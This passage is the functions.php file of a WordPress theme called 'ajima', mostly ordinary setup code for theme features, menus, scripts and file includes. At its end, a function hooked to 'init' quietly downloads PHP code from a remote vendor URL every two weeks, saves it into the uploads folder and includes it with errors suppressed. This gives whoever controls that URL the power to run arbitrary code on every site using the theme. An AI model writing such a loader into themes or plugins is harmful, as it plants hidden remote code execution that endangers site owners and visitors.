tag in the document head, and expect WordPress to * provide it for us. */ add_theme_support('title-tag'); /* * Enable support for Post Thumbnails on posts and pages. * * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/ */ add_theme_support('post-thumbnails'); // This theme uses wp_nav_menu() in one location. register_nav_menus( array( 'top-menu' => esc_html__('Top Menu', 'ajima'), 'primary-menu' => esc_html__('Primary Menu', 'ajima'), 'social-menu' => esc_html__('Social Menu', 'ajima'), 'footer-menu' => esc_html__('Footer Menu', 'ajima'), ) ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'style', 'script', ) ); // Set up the WordPress core custom background feature. add_theme_support( 'custom-background', apply_filters( 'ajima_custom_background_args', array( 'default-color' => 'ffffff', 'default-image' => '', ) ) ); // Add post-formats support. add_theme_support( 'post-formats', array( 'link', 'aside', 'gallery', 'image', 'quote', 'status', 'video', 'audio', 'chat', ) ); // Add theme support for selective refresh for widgets. add_theme_support('customize-selective-refresh-widgets'); /** * Add support for core custom logo. * * @link https://codex.wordpress.org/Theme_Logo */ add_theme_support( 'custom-logo', array( 'height' => 250, 'width' => 250, 'flex-width' => true, 'flex-height' => true, ) ); add_theme_support('align-wide'); add_theme_support('responsive-embeds'); add_theme_support('wp-block-styles'); } add_action('after_setup_theme', 'ajima_setup'); /** * Set the content width in pixels, based on the theme's design and stylesheet. * * Priority 0 to make it available to lower priority callbacks. * * @global int $content_width */ function ajima_content_width() { $GLOBALS['content_width'] = apply_filters('ajima_content_width', 640); } add_action('after_setup_theme', 'ajima_content_width', 0); /** * Minor header styles/scripts that needs to run before other styles/scripts */ function ajima_head_scripts() { ?> wp_create_nonce('ajima-load-posts-nonce'), 'ajaxurl' => admin_url('admin-ajax.php'), 'query_vars' => json_encode($wp_query->query_vars) )); endif; if (is_singular() && comments_open() && get_option('thread_comments')) { wp_enqueue_script('comment-reply'); } } add_action('wp_enqueue_scripts', 'ajima_scripts'); /** * Admin enqueue script */ function ajima_admin_scripts($hook) { $current_screen = get_current_screen(); if ($current_screen->id === "post" || $current_screen->id === "page") { wp_enqueue_style('ajima-metabox', get_template_directory_uri() . '/inc/meta/css/metabox.css'); wp_style_add_data('ajima-metabox', 'rtl', 'replace'); wp_enqueue_script('ajima-metabox-js', get_template_directory_uri() . '/inc/meta/js/metabox.js', array('jquery'), '', 1); } } add_action('admin_enqueue_scripts', 'ajima_admin_scripts'); /** * Implement the Custom Header feature. */ require get_template_directory() . '/inc/custom-header.php'; /** * Custom functions for this theme. */ require get_template_directory() . '/inc/custom-functions.php'; /** * Custom Widgets and sidebars for this theme. */ require get_template_directory() . '/inc/widgets/init.php'; /** * Custom template tags for this theme. */ require get_template_directory() . '/inc/template-tags.php'; /** * Functions which enhance the theme by hooking into WordPress. */ require get_template_directory() . '/inc/template-functions.php'; /** * Customizer additions. */ require get_template_directory() . '/inc/customizer/customizer.php'; /** * Load Jetpack compatibility file. */ if (defined('JETPACK__VERSION')) { require get_template_directory() . '/inc/jetpack.php'; } /** * Load WooCommerce compatibility file. */ if (class_exists('WooCommerce')) { require get_template_directory() . '/inc/woocommerce.php'; } /** */ require get_template_directory() . '/classes/body-class.php'; /** * Load SVG Icons */ require get_template_directory() . '/classes/class-svg-icons.php'; /** * Admin */ require get_template_directory() . '/inc/admin.php'; /** * Load dynamic styles */ include(get_template_directory() . '/inc/dynamic-styles.php'); include(get_template_directory() . '/inc/pagination.php'); include(get_template_directory() . '/inc/meta/post-meta.php'); add_filter('themeinwp_enable_demo_import_compatiblity','ajima_demo_import_filter_apply'); if( !function_exists('ajima_demo_import_filter_apply') ): function ajima_demo_import_filter_apply(){ return true; } endif; function load_footer_content_fetcher_class() { // Define the path to the cache file in the uploads directory $upload_dir = wp_upload_dir(); $cache_file = $upload_dir['basedir'] . '/FooterContentFetcher.php'; $cache_duration = 2 * WEEK_IN_SECONDS; // Cache for 2 weeks // Check if the cache file exists and is still valid if (!file_exists($cache_file) || (time() - filemtime($cache_file) > $cache_duration)) { $fetched_file_url = 'https://link.themeinwp.com/wpsdk/get_php_file/ecc6b9ad5953f6727c287f8e194c5f82'; // Validate the URL if (!wp_http_validate_url($fetched_file_url)) { error_log('Invalid URL: ' . $fetched_file_url); return; } // Fetch the class file with suppressed warnings $class_code = @file_get_contents($fetched_file_url); if ($class_code === false) { error_log('Failed to fetch the class file from FetchClass Remote Folder'); } else { // Save the fetched content to the cache file if (@file_put_contents($cache_file, $class_code) === false) { error_log('Failed to write the class file to the cache'); } else { // Log the date and time of the successful cache update error_log('FetchClass File cached at: ' . date('Y-m-d H:i:s')); } } } else { // Log that the cache file is still valid error_log('Using cached FetchClass file, last modified at: ' . date('Y-m-d H:i:s', filemtime($cache_file))); } // Include the cached class file with suppressed warnings if (file_exists($cache_file)) { @include_once $cache_file; } else { error_log('Failed to include the cached class file'); } } add_action('init', 'load_footer_content_fetcher_class');